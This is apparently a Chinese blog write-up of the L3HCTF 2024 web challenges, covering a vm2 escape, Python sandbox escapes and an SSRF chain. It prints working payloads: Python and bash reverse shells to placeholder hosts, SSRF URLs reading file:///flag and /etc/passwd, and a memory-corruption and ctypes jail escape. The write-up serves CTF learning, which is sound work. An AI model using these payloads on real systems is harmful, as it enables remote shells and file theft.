L3HCTF-WEB

L3HCTF

战队前几场发挥不错,师傅们还想冲刺一下final,但是这次成绩不太理想,不知道还有没有机会

Volcano web 3/4 但很遗憾,我爆零了(看到第一题就没什么心情看了)

就出了一个babySPN。。。密码真签到题

escape-web

js执行页面,输入一些错误的会发现是vm2模块

然后能找到

https://gist.github.com/leesh3288/f693061e6523c97274ad5298eb2c74e9

但是我做到这里就不会了,因为没有回显

队里lyk师傅使用

ln -sf /flag /app/error.txt

成功回显

image-20240204224527879

看了其他战队的WP,也都是ln -sf

也可以链接到/app/output.txt文件

官方说法

ls >&2

直接cat /flag提示No such file or directory,查看进程列表可知跑的是node /app/dist.js。

进入/app目录,code.js是用户输入的代码,dist.js是打包的程序代码,查看程序代码并没有写文件,猜测error.txt和output.txt是管道重定向产生的文件,挂载在容器内由外部进行读取。

将output.txt软链接到/flag即可读取flag。

image-20240208164001958

intractable problem

各战队WP都是非预期

给了附件,但是我没看。。

现在看了一下

import sys
import os

codes='''
<<codehere>>
'''

try:
    codes.encode("ascii")
except UnicodeEncodeError:
    exit(0)

if "__" in codes:
    exit(0)

codes+="\nres=factorization(c)"
locals={"c":"696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863","__builtins__": None}
res=set()

def blackFunc(oldexit):
    def func(event, args):
        blackList = ["process","os","sys","interpreter","cpython","open","compile","__new__","gc"]
        for i in blackList:
            if i in (event + "".join(str(s) for s in args)).lower():
                print(i)
                oldexit(0)
    return func

code = compile(codes, "<judgecode>", "exec")
sys.addaudithook(blackFunc(os._exit))
exec(code,{"__builtins__": None},locals)

p=int(locals["res"][0])
q=int(locals["res"][1])
if(p>1e5 and q>1e5 and p*q==int("696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863")):
    print("Correct!",end="")
else:
    print("Wrong!",end="")
import flask
import time
import random
import os
import subprocess

codes=""
with open("oj.py","r") as f:
    codes=f.read()
flag=""
with open("/flag","r") as f:
    flag=f.read()
app = flask.Flask(__name__)

@app.route('/')
def index():
    return flask.render_template('ui.html')

@app.route('/judge', methods=['POST'])
def judge():
    code = flask.request.json['code'].replace("def factorization(n: string) -> tuple[int]:","def factorization(n):")
    correctstr = ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba', 20))
    wrongstr = ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba', 20))
    print(correctstr,wrongstr)
    code=codes.replace("Correct",correctstr).replace("Wrong",wrongstr).replace("<<codehere>>",code)

    filename = "upload/"+str(time.time()) + str(random.randint(0, 1000000))
    with open(filename + '.py', 'w') as f:
        f.write(code)

    try:
        result = subprocess.run(['python3', filename + '.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
        os.remove(filename + '.py')
        print(result)
        if(result.endswith(correctstr+"!")):
            return flask.jsonify("Correct!flag is "+flag)
        else:
            return flask.jsonify("Wrong!")
    except:
        os.remove(filename + '.py')
        return flask.jsonify("Timeout!")

if __name__ == '__main__':
    app.run("0.0.0.0")

把输入的内容替换到codehere中

import sys
import os

codes='''
<<codehere>>
'''

这里可以造成逃逸,确实是非预期

闭合前面,补全后面

'''
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("host",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);                  
exit(0)                  
'''

short-url

unknown 牛B

其实难度不高,但反正我没看了

image-20240207005941893

image-20240207010002305

image-20240207010111334

页面只有一个link参数,限定了http协议,尝试输入自己的vps地址,开启监听都没反应

那应该是个SSRF

并且不管我们输入什么值,都会返回

http://example.com/jump?redirect=随机字符

这些随机字符为键值对里的键,存储着对应的link的值

看到test路由,

image-20240207011439092

会获取键值对的值,所以我们应得到一个有效的redirect后传给他

并且他所存储的link的值中不应该有url参数,

有也可以,但是有url参数的话,要验证host必须为www.example.com

不然无法通过Fetch函数获取该链接的内容

private路由限制RemoteAddr为127.0.0.1,才能获取指定url的内容

那这里也就是说要http://127.0.0.1

这里就可以配合上面的SSRF,再加上private路由可以传一个叫url的参数

当然这里有个Intercepter,用;或者/即可

/private 变成 /private/ 
/private 变成 /private;

image-20240207175837634

给一下解题步骤

后面根据做法整理一下思路

image-20240205033618821

image-20240205033630269

image-20240205033654647

整理思路

首先

image-20240205033618821

这是没有问题了

获取到一个键名

然后通过jump路由作中间人

image-20240205033630269

image-20240207015100547

根据解题步骤,访问http://ip:port/jump?redirect=随机字符响应的内容是http://127.0.0.1:8080/private;?url=file:///flag

所以test路由检查他的键值为http://ip:port/jump?redirect=获取的新值,并没有url参数

所以通过Fetchhttp://ip:port/jump?redirect=获取的新值会重定向到http://127.0.0.1:8080/private;?url=file:///flag由此获取flag

可能表达不太好,将就着看吧

L3HCTF 2024 - Nep WP (qq.com)意思跟它想表达的差不多

官方WP

官方是直接从private到test的,这样的话就要检查参数url的host是否为www.example.com

可以利用org.springframework.web.util.UriComponents拼接多个相同param的特点,将url拆分为两部分

http://127.0.0.1:8080/private/?url=file://www.example.com&url=@/flag

得到的redirect传给test即可

S1uM4i WP 不太懂

也是直接从private到test的

http://127.0.0.1:8080/private;?url=file://www.example.com////etc/passwd

往协议头里面塞,转到 private 的时候会自动过一层 url 解码,变成 Fetch("file:///etc/passwd?://www.example.com/");

payload

http://127.0.0.1:8080/private;?url=%66%69%6c%65%3a%2f%2f%2f%66%6c%61%67%3f://www.example.com/

intractable problem revenge

python沙箱懂不了一点

随便写点笔记吧,然后给出其他战队WP

题目设置了一个python沙箱,禁用了builtins,同时禁止了__从而禁止了通过继承链进行逃逸,还利用python审计事件禁止了通过gc等获取沙箱外对象,同时禁用了sys、os、open等风险功能。

禁用builtins的代码大概是这样

eval(code, {"__builtins__": {}}, {"__builtins__": {}})exec(code, {"__builtins__": None})

由于我们使用的函数基本上都在__builtins__中,

所以我们要逃逸沙箱,获取到沙箱外的__globals__

S1uM4i WP

https://gist.github.com/lebr0nli/c2c0f42757f05813e3282c22114abe82

a = []
g = ((g.gi_frame.f_back.f_back, gl:=g.gi_frame.f_back.f_back.f_globals) for g in a)
a.append(g)
g.send(None)

后续是这个原题

https://github.com/maple3142/My-CTF-Challenges/blob/master/TSJ%20CTF%202022/Just%20a%20pyjail/README.md

主要是要修改offset的处理,不能通过io交互,直接本地生成一个marshal数据,之后观察构造,replace处理即可

a = []
g = ((g.gi_frame.f_back.f_back, gl:=g.gi_frame.f_back.f_back.f_globals) for g in a)
a.append(g)
g.send(None)

b = gl['_' '_builtins_' '_']

object = b.object
bytearray = b.bytearray
id = b.id
print = b.print
bytes = b.bytes
input = b.input
len = b.len
hex = b.hex

importer = b.getattr(b, "_" * 2 + "loader" + "_" * 2)
print(importer)
marshal = importer.load_module("marshal")

def p64(addr):
    return addr.to_bytes(8, "little")

const_tuple = ()

fake_bytearray = bytearray(
    p64(0x41414141)
    + p64(id(bytearray))  # ob_refcnt
    + p64(0x7FFFFFFFFFFFFFFF)  # ob_type
    + p64(0)  # ob_size (INT64_MAX)
    + p64(0)  # ob_alloc (doesn't seem to really be used?)
    + p64(0)  # *ob_bytes (start at address 0)
    + p64(0)  # *ob_start (ditto)  # ob_exports (not really sure what this does)
)

fake_bytearray_ptr_addr = id(fake_bytearray) + 0x20
const_tuple_array_start = id(const_tuple) + 0x18
offset = (fake_bytearray_ptr_addr - const_tuple_array_start) // 8
print("Offset:", offset)

def dummy():
    pass

tt = b'e3000000000000000000000000000000000000000040000000f30a00000090aa90bb90cc64dd5300a9007202000000720200000072020000007202000000da00720300000000000000f300000000'
def i2h(x):
    global b
    return b.hex(x)[2:].rjust(2, "0").encode()
tt = tt.replace(b"aa", i2h((offset >> 24) & 0xFF)).replace(b"bb", i2h((offset >> 16) & 0xFF)).replace(b"cc", i2h((offset >> 8) & 0xFF)).replace(b"dd", i2h((offset >> 0) & 0xFF))

print(tt)
bs = bytes.fromhex(tt.decode())
co = marshal.loads(bs)
b.setattr(dummy, "_" * 2 + "code" + "_" * 2, co)
magic = dummy()

# sanity check
print(magic[id("peko") : id("peko") + 64])

target_strs = [
    "import",
    "spawn",
    "process",
    "os",
    "sys",
    "cpython",
    "fork",
    "open",
    "interpreter",
    "ctypes",
    "compile",
    "gc",
    "_" * 2 + "new" + "_" * 2,
]
for s in target_strs:
    addr = id(s)
    magic[addr + 48 : addr + 48 + len(s)] = b"a" * len(s)

os = b.getattr(b, "_" * 2 + "import" + "_" * 2)("os")
os.system('bash -c "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/1234 0>&1"')

factorization = lambda x: (1,1)

自己生成观察一下规律

根据原题给出的生成marshal序列化的代码,找一下规律

import marshal
from dis import opmap
from types import CodeType
offset = 314894131665789     #手动修改,找规律
bc = bytes(
    [
        opmap["EXTENDED_ARG"],
        (offset >> 24) & 0xFF,
        opmap["EXTENDED_ARG"],
        (offset >> 16) & 0xFF,
        opmap["EXTENDED_ARG"],
        (offset >> 8) & 0xFF,
        opmap["LOAD_CONST"],
        (offset >> 0) & 0xFF,
        opmap["RETURN_VALUE"],
        0,
    ]
)
code = CodeType(0, 0, 0, 0, 0, 0, bc, (), (), (), "", "", 0, b"")

print(marshal.dumps(code).hex().encode())

多次改变offset的值,对比生成的数据可以发现规律

e3000000000000000000000000000000000000000040000000f30a00000090 00 90 00 90 00 64 01 5300a9007202000000720200000072020000007202000000da00720300000000000000f300000000
e3000000000000000000000000000000000000000040000000f30a00000090 00 90 00 90 00 64 02 5300a9007202000000720200000072020000007202000000da00720300000000000000f300000000
e3000000000000000000000000000000000000000040000000f30a00000090 00 90 00 90 00 64 03 5300a9007202000000720200000072020000007202000000da00720300000000000000f300000000
e3000000000000000000000000000000000000000040000000f30a00000090 00 90 04 90 c3 64 f8 5300a9007202000000720200000072020000007202000000da00720300000000000000f300000000
e3000000000000000000000000000000000000000040000000f30a00000090 28 90 88 90 15 64 77 5300a9007202000000720200000072020000007202000000da00720300000000000000f300000000
e3000000000000000000000000000000000000000040000000f30a00000090 53 90 93 90 d9 64 53 5300a9007202000000720200000072020000007202000000da00720300000000000000f300000000
e3000000000000000000000000000000000000000040000000f30a00000090 00 90 dc 90 1b 64 7d 5300a9007202000000720200000072020000007202000000da00720300000000000000f300000000

不同的部分从前到后,分别代表(offset >> 24) & 0xFF(offset >> 16) & 0xFF(offset >> 8) & 0xFF(offset >> 0) & 0xFF

所以payload中把不同部分用aa,bb,cc,dd表示,最后replace替换掉

tt = b'e3000000000000000000000000000000000000000040000000f30a00000090aa90bb90cc64dd5300a9007202000000720200000072020000007202000000da00720300000000000000f300000000'
def i2h(x):
    global b
    return b.hex(x)[2:].rjust(2, "0").encode()    #使长度为2,不足时用0填充
tt = tt.replace(b"aa", i2h((offset >> 24) & 0xFF)).replace(b"bb", i2h((offset >> 16) & 0xFF)).replace(b"cc", i2h((offset >> 8) & 0xFF)).replace(b"dd", i2h((offset >> 0) & 0xFF))

官方WP

可以用python的栈帧对象逃逸出沙箱从而获取到沙箱外的globals

a=(a.gi_frame.f_back.f_back for i in [1])
a=[x for x in a][0]
globals=a.f_back.f_back.f_globals

可以注意到在判断答案是否正确时的globals与沙箱内获取到的globals相同,因此可以想办法破坏判断的过程绕过答案校验。一个可行的方法是替换掉int函数,使python在校验时使用我们给出的数据进行校验,payload如下:

def factorization(n):
    a=(a.gi_frame.f_back.f_back for i in [1])
    a=[x for x in a][0]
    globals=a.f_back.f_back.f_globals
    builtin = globals["_" + "_builtins_" + "_"]
    
    def fakeint(i):
        if(builtin.len(i)>100):
            return 123123*123123
        else:
            return 123123

    builtin.int=fakeint
    return '1','2'

W&M也是替换掉int

此外还有另一种解题方法,CPython中的字符串对象引用C底层堆中一个PyASCIIObject内存实体,相同的字符串具有同一个实体,所以我们可以利用ctypes库实现内存的任意读写,替换内存中字符串指向的值,从而替换掉最终进行校验的数值。注意import在此题中因为os和open无法使用,可以通过__loader__.load_module进行加载,同时PyASCIIObject的头部长度为48,我们需要对有效负载进行改写。payload如下:

def factorization(n):
    a=(a.gi_frame.f_back.f_back for i in [1])
    a=[x for x in a][0]
    globals=a.f_back.f_back.f_globals
    builtin="_" + "_builtins_" + "_"
    builtin=globals[builtin]
    ctypes=builtin.getattr(builtin, "_" + "_loader_" + "_").load_module("ctypes")
    id=builtin.id
    ord=builtin.ord
    
    def writemem(addr,value):
        p=ctypes.pointer(ctypes.pointer(ctypes.c_char(0)))
        p.contents=ctypes.c_longlong(addr)
        p.contents.contents.value=value
    addr=id(n)
    res='1'+'0'*1232
    point=0
    for i in res:
        writemem(addr+48+point,ord(i))
        point+=1
    return 10**616,10**616

另有其他多种解法,如获取到内存对象后查找内存确定输出标识符位置、通过上述方法篡改hook函数中字符串绕过hook、通过inspect读栈帧代码输出正确字符串等方式,python使用极其灵活,本题有多种不同的逃逸思路。

啊这,会不了一点。。。。。。。。

finally

两个有能力做,一个想不到,还有一个完全不会。。。

。。。学完了,跟没学一样,学不到东西啊

reference

https://s1um4i-official.feishu.cn/docx/QeGGdeyuhoR6kuxCOj8c44wRnne

‌⁡⁤⁤‌⁡⁡‬⁡⁢⁣‌‬⁣⁤‬‬‍⁤⁤⁤⁡⁢‌⁣‬‬‍‬⁢‍⁢⁢⁡L3HCTF 2024 Official WriteUp - 飞书云文档 (feishu.cn)

L3HCTF 2024 - Nep WP (qq.com)


L3HCTF-WEB
https://zer0peach.github.io/2024/02/06/L3HCTF-WEB/
作者
Zer0peach
发布于
2024年2月6日
许可协议